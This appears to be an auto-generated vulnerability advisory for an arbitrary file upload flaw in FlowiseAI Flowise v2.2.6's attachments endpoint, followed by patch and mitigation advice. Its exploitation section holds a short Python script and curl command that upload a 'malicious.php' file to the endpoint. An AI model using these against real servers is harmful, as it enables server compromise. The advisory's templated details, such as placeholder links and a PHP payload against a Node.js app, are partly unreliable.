How the CVE Works:
The vulnerability in FlowiseAI Flowise v2.2.6 arises from insufficient validation in the `/api/v1/attachments` endpoint, allowing attackers to upload arbitrary files to the server. This can lead to remote code execution (RCE) or server compromise if malicious files, such as scripts or executables, are uploaded. The lack of proper file type and content checks enables attackers to bypass security mechanisms, potentially gaining unauthorized access to the system or disrupting services.
DailyCVE Form:
Platform: FlowiseAI
Version: v2.2.6
Vulnerability: Arbitrary File Upload
Severity: High
Date: Mar 5, 2025
(End of form)
What Undercode Say:
Exploitation:
1. Exploit Code Example:
import requests
url = "http://target.com/api/v1/attachments"
files = {'file': open('malicious.php', 'rb')}
response = requests.post(url, files=files)
print(response.text)
This script uploads a malicious PHP file to the vulnerable endpoint.
2. Exploit Command:
curl -F "[email protected]" http://target.com/api/v1/attachments
3. Exploit Impact:
- Remote Code Execution (RCE)
- Server compromise
- Data exfiltration
Protection:
1. Patch:
- Upgrade to FlowiseAI v2.2.7 or later, which includes proper file validation.
2. Mitigation:
- Implement file type and content validation on the server side.
- Restrict file uploads to specific, safe extensions (e.g.,
.txt,.pdf). - Use a web application firewall (WAF) to block malicious upload attempts.
3. Code Fix Example:
const allowedTypes = ['image/jpeg', 'application/pdf'];
if (!allowedTypes.includes(file.mimetype)) {
return res.status(400).send('Invalid file type');
}
4. Security Tools:
- Use tools like Burp Suite or OWASP ZAP to test for file upload vulnerabilities.
- Regularly scan your application with Nessus or OpenVAS.
5. References:
- GitHub Advisory: [Link to GitHub Advisory]
- NVD Details: [Link to NVD]
- FlowiseAI Patch Notes: [Link to Patch Notes]
6. Monitoring:
- Monitor server logs for unusual file upload activity.
- Set up alerts for unauthorized file access or execution.
By following these steps, you can mitigate the risk posed by this vulnerability and protect your systems from potential exploitation.
References:
Reported By: https://github.com/advisories/GHSA-69jq-qr7w-j7qh
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